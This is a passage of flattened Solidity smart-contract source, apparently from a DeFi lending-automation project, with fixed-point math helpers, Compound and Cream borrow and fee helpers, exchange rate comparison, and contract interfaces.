scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } } contract CompoundBorrowProxy { using SafeERC20 for ERC20; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; function borrow(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) public { address[] memory markets = new address[](2); markets[0] = _cCollToken; markets[1] = _cBorrowToken; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); require(CTokenInterface(_cBorrowToken).borrow(_amount) == 0); // withdraw funds to msg.sender if (_borrowToken != ETH_ADDR) { ERC20(_borrowToken).safeTransfer(msg.sender, ERC20(_borrowToken).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } } contract CreamSafetyRatio is Exponential, DSMath { // solhint-disable-next-line const-name-snakecase ComptrollerInterface public constant comp = ComptrollerInterface(0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258); /// @notice Calcualted the ratio of debt / adjusted collateral /// @param _user Address of the user function getSafetyRatio(address _user) public view returns (uint) { // For each asset the account is in address[] memory assets = comp.getAssetsIn(_user); address oracleAddr = comp.oracle(); uint sumCollateral = 0; uint sumBorrow = 0; for (uint i = 0; i < assets.length; i++) { address asset = assets[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory oraclePrice; if (cTokenBalance != 0 || borrowBalance != 0) { oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)}); } // Sum up collateral in Eth if (cTokenBalance != 0) { (, uint collFactorMantissa) = comp.markets(address(asset)); Exp memory collateralFactor = Exp({mantissa: collFactorMantissa}); Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, Exp memory tokensToEther) = mulExp3(collateralFactor, exchangeRate, oraclePrice); (, sumCollateral) = mulScalarTruncateAddUInt(tokensToEther, cTokenBalance, sumCollateral); } // Sum up debt in Eth if (borrowBalance != 0) { (, sumBorrow) = mulScalarTruncateAddUInt(oraclePrice, borrowBalance, sumBorrow); } } if (sumBorrow == 0) return uint(-1); uint borrowPowerUsed = (sumBorrow * 10**18) / sumCollateral; return wdiv(1e18, borrowPowerUsed); } } contract CreamSaverHelper is DSMath, Exponential { using SafeERC20 for ERC20; address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0xD06527D5e56A3495252A528C4987003b712860eE; address public constant COMPTROLLER = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258; address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; /// @notice Helper method to payback the cream debt /// @dev If amount is bigger it will repay the whole debt and send the extra to the _user /// @param _amount Amount of tokens we want to repay /// @param _cBorrowToken Ctoken address we are repaying /// @param _borrowToken Token address we are repaying /// @param _user Owner of the cream position we are paying back function paybackDebt(uint _amount, address _cBorrowToken, address _borrowToken, address payable _user) internal { uint wholeDebt = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(address(this)); if (_amount > wholeDebt) { if (_borrowToken == ETH_ADDRESS) { _user.transfer((_amount - wholeDebt)); } else { ERC20(_borrowToken).safeTransfer(_user, (_amount - wholeDebt)); } _amount = wholeDebt; } approveCToken(_borrowToken, _cBorrowToken); if (_borrowToken == ETH_ADDRESS) { CEtherInterface(_cBorrowToken).repayBorrow{value: _amount}(); } else { require(CTokenInterface(_cBorrowToken).repayBorrow(_amount) == 0); } } /// @notice Calculates the fee amount /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getFee(uint _amount, address _user, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { uint fee = MANUAL_SERVICE_FEE; if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) { fee = AUTOMATIC_SERVICE_FEE; } address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint ethTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); _gasCost = wdiv(_gasCost, ethTokenPrice); feeAmount = add(feeAmount, _gasCost); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } if (tokenAddr == ETH_ADDRESS) { WALLET_ADDR.transfer(feeAmount); } else { ERC20(tokenAddr).safeTransfer(WALLET_ADDR, feeAmount); } } /// @notice Calculates the gas cost of transaction and send it to wallet /// @param _amount Amount that is converted /// @param _gasCost Ether amount of gas we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getGasCost(uint _amount, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint ethTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); feeAmount = wdiv(_gasCost, ethTokenPrice); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } if (tokenAddr == ETH_ADDRESS) { WALLET_ADDR.transfer(feeAmount); } else { ERC20(tokenAddr).safeTransfer(WALLET_ADDR, feeAmount); } } /// @notice Enters the market for the collatera and borrow tokens /// @param _cTokenAddrColl Collateral address we are entering the market in /// @param _cTokenAddrBorrow Borrow address we are entering the market in function enterMarket(address _cTokenAddrColl, address _cTokenAddrBorrow) internal { address[] memory markets = new address[](2); markets[0] = _cTokenAddrColl; markets[1] = _cTokenAddrBorrow; ComptrollerInterface(COMPTROLLER).enterMarkets(markets); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveCToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } /// @notice Returns the underlying address of the cToken asset /// @param _cTokenAddress cToken address /// @return Token address of the cToken specified function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } /// @notice Returns the owner of the DSProxy that called the contract function getUserAddress() internal view returns (address) { DSProxy proxy = DSProxy(uint160(address(this))); return proxy.owner(); } /// @notice Returns the maximum amount of collateral available to withdraw /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cCollAddress Collateral we are getting the max value of /// @param _account Users account /// @return Returns the max. collateral amount in that token function getMaxCollateral(address _cCollAddress, address _account) public returns (uint) { (, uint liquidityInEth, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); uint usersBalance = CTokenInterface(_cCollAddress).balanceOfUnderlying(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); if (liquidityInEth == 0) return usersBalance; CTokenInterface(_cCollAddress).accrueInterest(); if (_cCollAddress == CETH_ADDRESS) { if (liquidityInEth > usersBalance) return usersBalance; return sub(liquidityInEth, (liquidityInEth / 100)); } uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cCollAddress); uint liquidityInToken = wdiv(liquidityInEth, ethPrice); if (liquidityInToken > usersBalance) return usersBalance; return sub(liquidityInToken, (liquidityInToken / 100)); // cut off 1% due to rounding issues } /// @notice Returns the maximum amount of borrow amount available /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cBorrowAddress Borrow token we are getting the max value of /// @param _account Users account /// @return Returns the max. borrow amount in that token function getMaxBorrow(address _cBorrowAddress, address _account) public returns (uint) { (, uint liquidityInEth, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); CTokenInterface(_cBorrowAddress).accrueInterest(); if (_cBorrowAddress == CETH_ADDRESS) return sub(liquidityInEth, (liquidityInEth / 100)); uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cBorrowAddress); uint liquidityInToken = wdiv(liquidityInEth, ethPrice); return sub(liquidityInToken, (liquidityInToken / 100)); // cut off 1% due to rounding issues } } contract CreamBorrowProxy { using SafeERC20 for ERC20; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant COMPTROLLER_ADDR = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258; function borrow(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) public { address[] memory markets = new address[](2); markets[0] = _cCollToken; markets[1] = _cBorrowToken; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); require(CTokenInterface(_cBorrowToken).borrow(_amount) == 0); // withdraw funds to msg.sender if (_borrowToken != ETH_ADDR) { ERC20(_borrowToken).safeTransfer(msg.sender, ERC20(_borrowToken).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } } contract AllowanceProxy is AdminAuth { using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // TODO: Real saver exchange address SaverExchange saverExchange = SaverExchange(0x235abFAd01eb1BDa28Ef94087FBAA63E18074926); function callSell(SaverExchangeCore.ExchangeData memory exData) public payable { pullAndSendTokens(exData.srcAddr, exData.srcAmount); saverExchange.sell{value: msg.value}(exData, msg.sender); } function callBuy(SaverExchangeCore.ExchangeData memory exData) public payable { pullAndSendTokens(exData.srcAddr, exData.srcAmount); saverExchange.buy{value: msg.value}(exData, msg.sender); } function pullAndSendTokens(address _tokenAddr, uint _amount) internal { if (_tokenAddr == KYBER_ETH_ADDRESS) { require(msg.value >= _amount, "msg.value smaller than amount"); } else { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(saverExchange), _amount); } } function ownerChangeExchange(address payable _newExchange) public onlyOwner { saverExchange = SaverExchange(_newExchange); } } contract Prices is DSMath { address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; enum ActionType { SELL, BUY } /// @notice Returns the best estimated price from 2 exchanges /// @param _amount Amount of source tokens you want to exchange /// @param _srcToken Address of the source token /// @param _destToken Address of the destination token /// @param _type Type of action SELL|BUY /// @param _wrappers Array of wrapper addresses to compare /// @return (address, uint) The address of the best exchange and the exchange price function getBestPrice( uint256 _amount, address _srcToken, address _destToken, ActionType _type, address[] memory _wrappers ) public returns (address, uint256) { uint256[] memory rates = new uint256[](_wrappers.length); for (uint i=0; i<_wrappers.length; i++) { rates[i] = getExpectedRate(_wrappers[i], _srcToken, _destToken, _amount, _type); } return getBiggestRate(_wrappers, rates); } /// @notice Return the expected rate from the exchange wrapper /// @dev In case of Oasis/Uniswap handles the different precision tokens /// @param _wrapper Address of exchange wrapper /// @param _srcToken From token /// @param _destToken To token /// @param _amount Amount to be exchanged /// @param _type Type of action SELL|BUY function getExpectedRate( address _wrapper, address _srcToken, address _destToken, uint256 _amount, ActionType _type ) public returns (uint256) { bool success; bytes memory result; if (_type == ActionType.SELL) { (success, result) = _wrapper.call(abi.encodeWithSignature( "getSellRate(address,address,uint256)", _srcToken, _destToken, _amount )); } else { (success, result) = _wrapper.call(abi.encodeWithSignature( "getBuyRate(address,address,uint256)", _srcToken, _destToken, _amount )); } if (success) { return sliceUint(result, 0); } return 0; } /// @notice Finds the biggest rate between exchanges, needed for sell rate /// @param _wrappers Array of wrappers to compare /// @param _rates Array of rates to compare function getBiggestRate( address[] memory _wrappers, uint256[] memory _rates ) internal pure returns (address, uint) { uint256 maxIndex = 0; // starting from 0 in case there is only one rate in array for (uint256 i=0; i<_rates.length; i++) { if (_rates[i] > _rates[maxIndex]) { maxIndex = i; } } return (_wrappers[maxIndex], _rates[maxIndex]); } function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } } contract SaverExchangeHelper { using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant SAVER_EXCHANGE_REGISTRY = 0x25dd3F51e0C3c3Ff164DDC02A8E4D65Bb9cBB12D; address public constant ERC20_PROXY_0X = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF; address public constant ZRX_ALLOWLIST_ADDR = 0x4BA1f38427b33B8ab7Bb0490200dAE1F1C36823F; function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function getBalance(address _tokenAddr) internal view returns (uint balance) { if (_tokenAddr == KYBER_ETH_ADDRESS) { balance = address(this).balance; } else { balance = ERC20(_tokenAddr).balanceOf(address(this)); } } function approve0xProxy(address _tokenAddr, uint _amount) internal { if (_tokenAddr != KYBER_ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(address(ERC20_PROXY_0X), _amount); } } function sendLeftover(address _srcAddr, address _destAddr, address payable _to) internal { // send back any leftover ether or tokens if (address(this).balance > 0) { _to.transfer(address(this).balance); } if (getBalance(_srcAddr) > 0) { ERC20(_srcAddr).safeTransfer(_to, getBalance(_srcAddr)); } if (getBalance(_destAddr) > 0) { ERC20(_destAddr).safeTransfer(_to, getBalance(_destAddr)); } } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } } contract SaverExchangeRegistry is AdminAuth { mapping(address => bool) private wrappers; constructor() public { wrappers[0x880A845A85F843a5c67DB2061623c6Fc3bB4c511] = true; wrappers[0x4c9B55f2083629A1F7aDa257ae984E03096eCD25] = true; wrappers[0x42A9237b872368E1bec4Ca8D26A928D7d39d338C] = true; } function addWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = true; } function removeWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = false; } function isWrapper(address _wrapper) public view returns(bool) { return wrappers[_wrapper]; } } contract DFSExchangeData { // first is empty to keep the legacy order in place enum ExchangeType { _, OASIS, KYBER, UNISWAP, ZEROX } enum ActionType { SELL, BUY } struct OffchainData { address exchangeAddr; address allowanceTarget; uint256 price; uint256 protocolFee; bytes callData; } struct ExchangeData { address srcAddr; address destAddr; uint256 srcAmount; uint256 destAmount; uint256 minPrice; uint256 dfsFeeDivider; // service fee divider address user; // user to check special fee address wrapper; bytes wrapperData; OffchainData offchainData; } function packExchangeData(ExchangeData memory _exData) public pure returns(bytes memory) { return abi.encode(_exData); } function unpackExchangeData(bytes memory _data) public pure returns(ExchangeData memory _exData) { _exData = abi.decode(_data, (ExchangeData)); } } contract DFSExchangeHelper { using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant SAVER_EXCHANGE_REGISTRY = 0x25dd3F51e0C3c3Ff164DDC02A8E4D65Bb9cBB12D; address public constant ZRX_ALLOWLIST_ADDR = 0x4BA1f38427b33B8ab7Bb0490200dAE1F1C36823F; function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function getBalance(address _tokenAddr) internal view returns (uint balance) { if (_tokenAddr == KYBER_ETH_ADDRESS) { balance = address(this).balance; } else { balance = ERC20(_tokenAddr).balanceOf(address(this)); } } function sendLeftover(address _srcAddr, address _destAddr, address payable _to) internal { // send back any leftover ether or tokens if (address(this).balance > 0) { _to.transfer(address(this).balance); } if (getBalance(_srcAddr) > 0) { ERC20(_srcAddr).safeTransfer(_to, getBalance(_srcAddr)); } if (getBalance(_destAddr) > 0) { ERC20(_destAddr).safeTransfer(_to, getBalance(_destAddr)); } } /// @notice Takes a feePercentage and sends it to wallet /// @param _amount Dai amount of the whole trade /// @param _user Address of the user /// @param _token Address of the token /// @param _dfsFeeDivider Dfs fee divider /// @return feeAmount Amount in Dai owner earned on the fee function getFee(uint256 _amount, address _user, address _token, uint256 _dfsFeeDivider) internal returns (uint256 feeAmount) { if (_dfsFeeDivider != 0 && Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_user)) { _dfsFeeDivider = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_user); } if (_dfsFeeDivider == 0) { feeAmount = 0; } else { feeAmount = _amount / _dfsFeeDivider; // fee can't go over 10% of the whole amount if (feeAmount > (_amount / 10)) { feeAmount = _amount / 10; } if (_token == KYBER_ETH_ADDRESS) { WALLET_ID.transfer(feeAmount); } else { ERC20(_token).safeTransfer(WALLET_ID, feeAmount); } } } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } } contract DFSPrices is DSMath { address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; enum ActionType { SELL, BUY } /// @notice Returns the best estimated price from 2 exchanges /// @param _amount Amount of source tokens you want to exchange /// @param _srcToken Address of the source token /// @param _destToken Address of the destination token /// @param _type Type of action SELL|BUY /// @param _wrappers Array of wrapper addresses to compare /// @return (address, uint) The address of the best exchange and the exchange price function getBestPrice( uint256 _amount, address _srcToken, address _destToken, ActionType _type, address[] memory _wrappers, bytes[] memory _additionalData ) public returns (address, uint256) { uint256[] memory rates = new uint256[](_wrappers.length); for (uint i=0; i<_wrappers.length; i++) { rates[i] = getExpectedRate(_wrappers[i], _srcToken, _destToken, _amount, _type, _additionalData[i]); } return getBiggestRate(_wrappers, rates); } /// @notice Return the expected rate from the exchange wrapper /// @dev In case of Oasis/Uniswap handles the different precision tokens /// @param _wrapper Address of exchange wrapper /// @param _srcToken From token /// @param _destToken To token /// @param _amount Amount to be exchanged /// @param _type Type of action SELL|BUY function getExpectedRate( address _wrapper, address _srcToken, address _destToken, uint256 _amount, ActionType _type, bytes memory _additionalData ) public returns (uint256) { bool success; bytes memory result; if (_type == ActionType.SELL) { (success, result) = _wrapper.call(abi.encodeWithSignature( "getSellRate(address,address,uint256,bytes)", _srcToken, _destToken, _amount, _additionalData )); } else { (success, result) = _wrapper.call(abi.encodeWithSignature( "getBuyRate(address,address,uint256,bytes)", _srcToken, _destToken, _amount, _additionalData )); } if (success) { return sliceUint(result, 0); } return 0; } /// @notice Finds the biggest rate between exchanges, needed for sell rate /// @param _wrappers Array of wrappers to compare /// @param _rates Array of rates to compare function getBiggestRate( address[] memory _wrappers, uint256[] memory _rates ) internal pure returns (address, uint) { uint256 maxIndex = 0; // starting from 0 in case there is only one rate in array for (uint256 i=0; i<_rates.length; i++) { if (_rates[i] > _rates[maxIndex]) { maxIndex = i; } } return (_wrappers[maxIndex], _rates[maxIndex]); } function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } } abstract contract CEtherInterface { function mint() external virtual payable; function repayBorrow() external virtual payable; } abstract contract CompoundOracleInterface { function getUnderlyingPrice(address cToken) external view virtual returns (uint); } abstract contract ComptrollerInterface { struct CompMarketState { uint224 index; uint32 block; } function claimComp(address holder) public virtual; function claimComp(address holder, address[] memory cTokens) public virtual; function claimComp(address[] memory holders, address[] memory cTokens, bool borrowers, bool suppliers) public virtual; function compSupplyState(address) public view virtual returns (CompMarketState memory); function compSupplierIndex(address,address) public view virtual returns (uint); function compAccrued(address) public view virtual returns (uint); function compBorrowState(address) public view virtual returns (CompMarketState memory); function compBorrowerIndex(address,address) public view virtual returns (uint); function enterMarkets(address[] calldata cTokens) external virtual returns (uint256[] memory); function exitMarket(address cToken) external virtual returns (uint256); function getAssetsIn(address account) external virtual view returns (address[] memory); function markets(address account) public virtual view returns (bool, uint256); function getAccountLiquidity(address account) external virtual view returns (uint256, uint256, uint256); function oracle() public virtual view returns (address); } abstract contract DSProxyInterface { /// Truffle wont compile if this isn't commented // function execute(bytes memory _code, bytes memory _data) // public virtual // payable // returns (address, bytes32); function execute(address _target, bytes memory _data) public virtual payable returns (bytes32); function setCache(address _cacheAddr) public virtual payable returns (bool); function owner() public virtual returns (address); } abstract contract DaiJoin { function vat() public virtual returns (Vat); function dai() public virtual returns (Gem); function join(address, uint) public virtual payable; function exit(address, uint) public virtual; } interface ERC20 { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint256 digits); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface ExchangeInterface { function swapEtherToToken(uint256 _ethAmount, address _tokenAddress, uint256 _maxAmount) external payable returns (uint256, uint256); function swapTokenToEther(address _tokenAddress, uint256 _amount, uint256 _maxAmount) external returns (uint256); function swapTokenToToken(address _src, address _dest, uint256 _amount) external payable returns (uint256); function getExpectedRate(address src, address dest, uint256 srcQty) external view returns (uint256 expectedRate); } interface ExchangeInterfaceV2 { function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable returns (uint); function buy(address _srcAddr, address _destAddr, uint _destAmount) external payable returns(uint); function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint); function getBuyRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint); } interface ExchangeInterfaceV3 { function sell(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external payable returns (uint); function buy(address 